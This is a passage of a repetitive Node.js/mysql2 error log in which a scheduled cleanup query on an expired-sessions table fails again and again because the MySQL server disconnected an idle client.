    at TCP.onStreamRead (node:internal/stream_base_commons:189:23) {
  code: 'ER_CLIENT_INTERACTION_TIMEOUT',
  errno: 4031,
  sqlState: 'HY000',
  sqlMessage: 'The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.',
  sql: "delete from `sessions` where expired < CAST('2026-03-20 03:40:26' as DATETIME)"
}
Warning: got packets out of order. Expected 1 but received 0
Error: delete from `sessions` where expired < CAST('2026-03-20 03:53:26' as DATETIME) - The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.
    at Packet.asError (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packets/packet.js:740:17)
    at Query.execute (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/commands/command.js:29:26)
    at Connection.handlePacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:477:34)
    at PacketParser.onPacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:93:12)
    at PacketParser.executeStart (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packet_parser.js:75:16)
    at Socket.<anonymous> (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:100:25)
    at Socket.emit (node:events:519:28)
    at addChunk (node:internal/streams/readable:561:12)
    at readableAddChunkPushByteMode (node:internal/streams/readable:512:3)
    at Readable.push (node:internal/streams/readable:392:5)
    at TCP.onStreamRead (node:internal/stream_base_commons:189:23) {
  code: 'ER_CLIENT_INTERACTION_TIMEOUT',
  errno: 4031,
  sqlState: 'HY000',
  sqlMessage: 'The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.',
  sql: "delete from `sessions` where expired < CAST('2026-03-20 03:53:26' as DATETIME)"
}
Warning: got packets out of order. Expected 1 but received 0
Error: delete from `sessions` where expired < CAST('2026-03-20 04:20:27' as DATETIME) - The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.
    at Packet.asError (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packets/packet.js:740:17)
    at Query.execute (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/commands/command.js:29:26)
    at Connection.handlePacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:477:34)
    at PacketParser.onPacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:93:12)
    at PacketParser.executeStart (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packet_parser.js:75:16)
    at Socket.<anonymous> (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:100:25)
    at Socket.emit (node:events:519:28)
    at addChunk (node:internal/streams/readable:561:12)
    at readableAddChunkPushByteMode (node:internal/streams/readable:512:3)
    at Readable.push (node:internal/streams/readable:392:5)
    at TCP.onStreamRead (node:internal/stream_base_commons:189:23) {
  code: 'ER_CLIENT_INTERACTION_TIMEOUT',
  errno: 4031,
  sqlState: 'HY000',
  sqlMessage: 'The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.',
  sql: "delete from `sessions` where expired < CAST('2026-03-20 04:20:27' as DATETIME)"
}
Warning: got packets out of order. Expected 1 but received 0
Error: delete from `sessions` where expired < CAST('2026-03-20 05:56:27' as DATETIME) - The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.
    at Packet.asError (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packets/packet.js:740:17)
    at Query.execute (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/commands/command.js:29:26)
    at Connection.handlePacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:477:34)
    at PacketParser.onPacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:93:12)
    at PacketParser.executeStart (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packet_parser.js:75:16)
    at Socket.<anonymous> (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:100:25)
    at Socket.emit (node:events:519:28)
    at addChunk (node:internal/streams/readable:561:12)
    at readableAddChunkPushByteMode (node:internal/streams/readable:512:3)
    at Readable.push (node:internal/streams/readable:392:5)
    at TCP.onStreamRead (node:internal/stream_base_commons:189:23) {
  code: 'ER_CLIENT_INTERACTION_TIMEOUT',
  errno: 4031,
  sqlState: 'HY000',
  sqlMessage: 'The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.',
  sql: "delete from `sessions` where expired < CAST('2026-03-20 05:56:27' as DATETIME)"
}
Warning: got packets out of order. Expected 1 but received 0
Error: delete from `sessions` where expired < CAST('2026-03-20 06:15:27' as DATETIME) - The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.
    at Packet.asError (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packets/packet.js:740:17)
    at Query.execute (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/commands/command.js:29:26)
    at Connection.handlePacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:477:34)
    at PacketParser.onPacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:93:12)
    at PacketParser.executeStart (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packet_parser.js:75:16)
    at Socket.<anonymous> (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:100:25)
    at Socket.emit (node:events:519:28)
    at addChunk (node:internal/streams/readable:561:12)
    at readableAddChunkPushByteMode (node:internal/streams/readable:512:3)
    at Readable.push (node:internal/streams/readable:392:5)
    at TCP.onStreamRead (node:internal/stream_base_commons:189:23) {
  code: 'ER_CLIENT_INTERACTION_TIMEOUT',
  errno: 4031,
  sqlState: 'HY000',
  sqlMessage: 'The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.',
  sql: "delete from `sessions` where expired < CAST('2026-03-20 06:15:27' as DATETIME)"
}
Warning: got packets out of order. Expected 1 but received 0
Error: delete from `sessions` where expired < CAST('2026-03-20 09:50:29' as DATETIME) - The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.
    at Packet.asError (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packets/packet.js:740:17)
    at Query.execute (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/commands/command.js:29:26)
    at Connection.handlePacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:477:34)
    at PacketParser.onPacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:93:12)
    at PacketParser.executeStart (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packet_parser.js:75:16)
    at Socket.<anonymous> (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:100:25)
    at Socket.emit (node:events:519:28)
    at addChunk (node:internal/streams/readable:561:12)
    at readableAddChunkPushByteMode (node:internal/streams/readable:512:3)
    at Readable.push (node:internal/streams/readable:392:5)
    at TCP.onStreamRead (node:internal/stream_base_commons:189:23) {
  code: 'ER_CLIENT_INTERACTION_TIMEOUT',
  errno: 4031,
  sqlState: 'HY000',
  sqlMessage: 'The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.',
  sql: "delete from `sessions` where expired < CAST('2026-03-20 09:50:29' as DATETIME)"
}
Warning: got packets out of order. Expected 1 but received 0
Error: delete from `sessions` where expired < CAST('2026-03-20 10:00:29' as DATETIME) - The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.
    at Packet.asError (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packets/packet.js:740:17)
    at Query.execute (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/commands/command.js:29:26)
    at Connection.handlePacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:477:34)
    at PacketParser.onPacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:93:12)
    at PacketParser.executeStart (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packet_parser.js:75:16)
    at Socket.<anonymous> (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:100:25)
    at Socket.emit (node:events:519:28)
    at addChunk (node:internal/streams/readable:561:12)
    at readableAddChunkPushByteMode (node:internal/streams/readable:512:3)
    at Readable.push (node:internal/streams/readable:392:5)
    at TCP.onStreamRead (node:internal/stream_base_commons:189:23) {
  code: 'ER_CLIENT_INTERACTION_TIMEOUT',
  errno: 4031,
  sqlState: 'HY000',
  sqlMessage: 'The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.',
  sql: "delete from `sessions` where expired < CAST('2026-03-20 10:00:29' as DATETIME)"
}
Warning: got packets out of order. Expected 1 but received 0
Error: delete from `sessions` where expired < CAST('2026-03-20 10:18:29' as DATETIME) - The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.
    at Packet.asError (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packets/packet.js:740:17)
    at Query.execute (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/commands/command.js:29:26)
    at Connection.handlePacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:477:34)
    at PacketParser.onPacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:93:12)
    at PacketParser.executeStart (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packet_parser.js:75:16)
    at Socket.<anonymous> (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:100:25)
    at Socket.emit (node:events:519:28)
    at addChunk (node:internal/streams/readable:561:12)
    at readableAddChunkPushByteMode (node:internal/streams/readable:512:3)
    at Readable.push (node:internal/streams/readable:392:5)
    at TCP.onStreamRead (node:internal/stream_base_commons:189:23) {
  code: 'ER_CLIENT_INTERACTION_TIMEOUT',
  errno: 4031,
  sqlState: 'HY000',
  sqlMessage: 'The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.',
  sql: "delete from `sessions` where expired < CAST('2026-03-20 10:18:29' as DATETIME)"
}
Warning: got packets out of order. Expected 1 but received 0
Error: delete from `sessions` where expired < CAST('2026-03-20 10:56:29' as DATETIME) - The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.
    at Packet.asError (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packets/packet.js:740:17)
    at Query.execute (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/commands/command.js:29:26)
    at Connection.handlePacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:477:34)
    at PacketParser.onPacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:93:12)
    at PacketParser.executeStart (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packet_parser.js:75:16)
    at Socket.<anonymous> (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:100:25)
    at Socket.emit (node:events:519:28)
    at addChunk (node:internal/streams/readable:561:12)
    at readableAddChunkPushByteMode (node:internal/streams/readable:512:3)
    at Readable.push (node:internal/streams/readable:392:5)
    at TCP.onStreamRead (node:internal/stream_base_commons:189:23) {
  code: 'ER_CLIENT_INTERACTION_TIMEOUT',
  errno: 4031,
  sqlState: 'HY000',
  sqlMessage: 'The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.',
  sql: "delete from `sessions` where expired < CAST('2026-03-20 10:56:29' as DATETIME)"
}
Warning: got packets out of order. Expected 1 but received 0
Error: delete from `sessions` where expired < CAST('2026-03-20 12:11:30' as DATETIME) - The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.
    at Packet.asError (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packets/packet.js:740:17)
    at Query.execute (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/commands/command.js:29:26)
    at Connection.handlePacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:477:34)
    at PacketParser.onPacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:93:12)
    at PacketParser.executeStart (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packet_parser.js:75:16)
    at Socket.<anonymous> (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:100:25)
    at Socket.emit (node:events:519:28)
    at addChunk (node:internal/streams/readable:561:12)
    at readableAddChunkPushByteMode (node:internal/streams/readable:512:3)
    at Readable.push (node:internal/streams/readable:392:5)
    at TCP.onStreamRead (node:internal/stream_base_commons:189:23) {
  code: 'ER_CLIENT_INTERACTION_TIMEOUT',
  errno: 4031,
  sqlState: 'HY000',
  sqlMessage: 'The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.',
  sql: "delete from `sessions` where expired < CAST('2026-03-20 12:11:30' as DATETIME)"
}
Warning: got packets out of order. Expected 1 but received 0
Error: delete from `sessions` where expired < CAST('2026-03-20 12:46:30' as DATETIME) - The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.
    at Packet.asError (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packets/packet.js:740:17)
    at Query.execute (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/commands/command.js:29:26)
    at Connection.handlePacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:477:34)
    at PacketParser.onPacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:93:12)
    at PacketParser.executeStart (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packet_parser.js:75:16)
    at Socket.<anonymous> (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:100:25)
    at Socket.emit (node:events:519:28)
    at addChunk (node:internal/streams/readable:561:12)
    at readableAddChunkPushByteMode (node:internal/streams/readable:512:3)
    at Readable.push (node:internal/streams/readable:392:5)
    at TCP.onStreamRead (node:internal/stream_base_commons:189:23) {
  code: 'ER_CLIENT_INTERACTION_TIMEOUT',
  errno: 4031,
  sqlState: 'HY000',
  sqlMessage: 'The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.',
  sql: "delete from `sessions` where expired < CAST('2026-03-20 12:46:30' as DATETIME)"
}
Warning: got packets out of order. Expected 1 but received 0
Error: delete from `sessions` where expired < CAST('2026-03-20 17:19:30' as DATETIME) - The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.
    at Packet.asError (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packets/packet.js:740:17)
    at Query.execute (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/commands/command.js:29:26)
    at Connection.handlePacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:477:34)
    at PacketParser.onPacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:93:12)
    at PacketParser.executeStart (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packet_parser.js:75:16)
    at Socket.<anonymous> (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:100:25)
    at Socket.emit (node:events:519:28)
    at addChunk (node:internal/streams/readable:561:12)
    at readableAddChunkPushByteMode (node:internal/streams/readable:512:3)
    at Readable.push (node:internal/streams/readable:392:5)
    at TCP.onStreamRead (node:internal/stream_base_commons:189:23) {
  code: 'ER_CLIENT_INTERACTION_TIMEOUT',
  errno: 4031,
  sqlState: 'HY000',
  sqlMessage: 'The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.',
  sql: "delete from `sessions` where expired < CAST('2026-03-20 17:19:30' as DATETIME)"
}
Warning: got packets out of order. Expected 1 but received 0
Error: delete from `sessions` where expired < CAST('2026-03-20 17:25:30' as DATETIME) - The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.
    at Packet.asError (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packets/packet.js:740:17)
    at Query.execute (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/commands/command.js:29:26)
    at Connection.handlePacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:477:34)
    at PacketParser.onPacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:93:12)
    at PacketParser.executeStart (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packet_parser.js:75:16)
    at Socket.<anonymous> (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:100:25)
    at Socket.emit (node:events:519:28)
    at addChunk (node:internal/streams/readable:561:12)
    at readableAddChunkPushByteMode (node:internal/streams/readable:512:3)
    at Readable.push (node:internal/streams/readable:392:5)
    at TCP.onStreamRead (node:internal/stream_base_commons:189:23) {
  code: 'ER_CLIENT_INTERACTION_TIMEOUT',
  errno: 4031,
  sqlState: 'HY000',
  sqlMessage: 'The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.',
  sql: "delete from `sessions` where expired < CAST('2026-03-20 17:25:30' as DATETIME)"
}
Warning: got packets out of order. Expected 1 but received 0
Error: delete from `sessions` where expired < CAST('2026-03-20 17:53:30' as DATETIME) - The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.
    at Packet.asError (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packets/packet.js:740:17)
    at Query.execute (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/commands/command.js:29:26)
    at Connection.handlePacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:477:34)
    at PacketParser.onPacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:93:12)
    at PacketParser.executeStart (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packet_parser.js:75:16)
    at Socket.<anonymous> (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:100:25)
    at Socket.emit (node:events:519:28)
    at addChunk (node:internal/streams/readable:561:12)
    at readableAddChunkPushByteMode (node:internal/streams/readable:512:3)
    at Readable.push (node:internal/streams/readable:392:5)
    at TCP.onStreamRead (node:internal/stream_base_commons:189:23) {
  code: 'ER_CLIENT_INTERACTION_TIMEOUT',
  errno: 4031,
  sqlState: 'HY000',
  sqlMessage: 'The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.',
  sql: "delete from `sessions` where expired < CAST('2026-03-20 17:53:30' as DATETIME)"
}
Warning: got packets out of order. Expected 1 but received 0
Error: delete from `sessions` where expired < CAST('2026-03-20 18:36:31' as DATETIME) - The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.
    at Packet.asError (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packets/packet.js:740:17)
    at Query.execute (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/commands/command.js:29:26)
    at Connection.handlePacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:477:34)
    at PacketParser.onPacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:93:12)
    at PacketParser.executeStart (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packet_parser.js:75:16)
    at Socket.<anonymous> (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:100:25)
    at Socket.emit (node:events:519:28)
    at addChunk (node:internal/streams/readable:561:12)
    at readableAddChunkPushByteMode (node:internal/streams/readable:512:3)
    at Readable.push (node:internal/streams/readable:392:5)
    at TCP.onStreamRead (node:internal/stream_base_commons:189:23) {
  code: 'ER_CLIENT_INTERACTION_TIMEOUT',
  errno: 4031,
  sqlState: 'HY000',
  sqlMessage: 'The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.',
  sql: "delete from `sessions` where expired < CAST('2026-03-20 18:36:31' as DATETIME)"
}
Warning: got packets out of order. Expected 1 but received 0
Error: delete from `sessions` where expired < CAST('2026-03-20 18:49:31' as DATETIME) - The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.
    at Packet.asError (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packets/packet.js:740:17)
    at Query.execute (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/commands/command.js:29:26)
    at Connection.handlePacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:477:34)
    at PacketParser.onPacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:93:12)
    at PacketParser.executeStart (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packet_parser.js:75:16)
    at Socket.<anonymous> (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:100:25)
    at Socket.emit (node:events:519:28)
    at addChunk (node:internal/streams/readable:561:12)
    at readableAddChunkPushByteMode (node:internal/streams/readable:512:3)
    at Readable.push (node:internal/streams/readable:392:5)
    at TCP.onStreamRead (node:internal/stream_base_commons:189:23) {
  code: 'ER_CLIENT_INTERACTION_TIMEOUT',
  errno: 4031,
  sqlState: 'HY000',
  sqlMessage: 'The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.',
  sql: "delete from `sessions` where expired < CAST('2026-03-20 18:49:31' as DATETIME)"
}
Warning: got packets out of order. Expected 1 but received 0
Error: delete from `sessions` where expired < CAST('2026-03-21 00:14:31' as DATETIME) - The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.
    at Packet.asError (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packets/packet.js:740:17)
    at Query.execute (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/commands/command.js:29:26)
    at Connection.handlePacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:477:34)
    at PacketParser.onPacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:93:12)
    at PacketParser.executeStart (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packet_parser.js:75:16)
    at Socket.<anonymous> (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:100:25)
    at Socket.emit (node:events:519:28)
    at addChunk (node:internal/streams/readable:561:12)
    at readableAddChunkPushByteMode (node:internal/streams/readable:512:3)
    at Readable.push (node:internal/streams/readable:392:5)
    at TCP.onStreamRead (node:internal/stream_base_commons:189:23) {
  code: 'ER_CLIENT_INTERACTION_TIMEOUT',
  errno: 4031,
  sqlState: 'HY000',
  sqlMessage: 'The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.',
  sql: "delete from `sessions` where expired < CAST('2026-03-21 00:14:31' as DATETIME)"
}
Warning: got packets out of order. Expected 1 but received 0
Error: delete from `sessions` where expired < CAST('2026-03-21 00:51:31' as DATETIME) - The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.
    at Packet.asError (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packets/packet.js:740:17)
    at Query.execute (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/commands/command.js:29:26)
    at Connection.handlePacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:477:34)
    at PacketParser.onPacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:93:12)
    at PacketParser.executeStart (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packet_parser.js:75:16)
    at Socket.<anonymous> (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:100:25)
    at Socket.emit (node:events:519:28)
    at addChunk (node:internal/streams/readable:561:12)
    at readableAddChunkPushByteMode (node:internal/streams/readable:512:3)
    at Readable.push (node:internal/streams/readable:392:5)
    at TCP.onStreamRead (node:internal/stream_base_commons:189:23) {
  code: 'ER_CLIENT_INTERACTION_TIMEOUT',
  errno: 4031,
  sqlState: 'HY000',
  sqlMessage: 'The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.',
  sql: "delete from `sessions` where expired < CAST('2026-03-21 00:51:31' as DATETIME)"
}
Warning: got packets out of order. Expected 1 but received 0
Error: delete from `sessions` where expired < CAST('2026-03-21 05:43:32' as DATETIME) - The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.
    at Packet.asError (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packets/packet.js:740:17)
    at Query.execute (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/commands/command.js:29:26)
    at Connection.handlePacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:477:34)
    at PacketParser.onPacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:93:12)
    at PacketParser.executeStart (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packet_parser.js:75:16)
    at Socket.<anonymous> (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:100:25)
    at Socket.emit (node:events:519:28)
    at addChunk (node:internal/streams/readable:561:12)
    at readableAddChunkPushByteMode (node:internal/streams/readable:512:3)
    at Readable.push (node:internal/streams/readable:392:5)
    at TCP.onStreamRead (node:internal/stream_base_commons:189:23) {
  code: 'ER_CLIENT_INTERACTION_TIMEOUT',
  errno: 4031,
  sqlState: 'HY000',
  sqlMessage: 'The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.',
  sql: "delete from `sessions` where expired < CAST('2026-03-21 05:43:32' as DATETIME)"
}
Warning: got packets out of order. Expected 1 but received 0
Error: delete from `sessions` where expired < CAST('2026-03-21 11:15:33' as DATETIME) - The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.
    at Packet.asError (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packets/packet.js:740:17)
    at Query.execute (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/commands/command.js:29:26)
    at Connection.handlePacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:477:34)
    at PacketParser.onPacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:93:12)
    at PacketParser.executeStart (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packet_parser.js:75:16)
    at Socket.<anonymous> (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:100:25)
    at Socket.emit (node:events:519:28)
    at addChunk (node:internal/streams/readable:561:12)
    at readableAddChunkPushByteMode (node:internal/streams/readable:512:3)
    at Readable.push (node:internal/streams/readable:392:5)
    at TCP.onStreamRead (node:internal/stream_base_commons:189:23) {
  code: 'ER_CLIENT_INTERACTION_TIMEOUT',
  errno: 4031,
  sqlState: 'HY000',
  sqlMessage: 'The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.',
  sql: "delete from `sessions` where expired < CAST('2026-03-21 11:15:33' as DATETIME)"
}
Warning: got packets out of order. Expected 1 but received 0
Error: delete from `sessions` where expired < CAST('2026-03-21 11:19:33' as DATETIME) - The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.
    at Packet.asError (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packets/packet.js:740:17)
    at Query.execute (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/commands/command.js:29:26)
    at Connection.handlePacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:477:34)
    at PacketParser.onPacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:93:12)
    at PacketParser.executeStart (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packet_parser.js:75:16)
    at Socket.<anonymous> (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:100:25)
    at Socket.emit (node:events:519:28)
    at addChunk (node:internal/streams/readable:561:12)
    at readableAddChunkPushByteMode (node:internal/streams/readable:512:3)
    at Readable.push (node:internal/streams/readable:392:5)
    at TCP.onStreamRead (node:internal/stream_base_commons:189:23) {
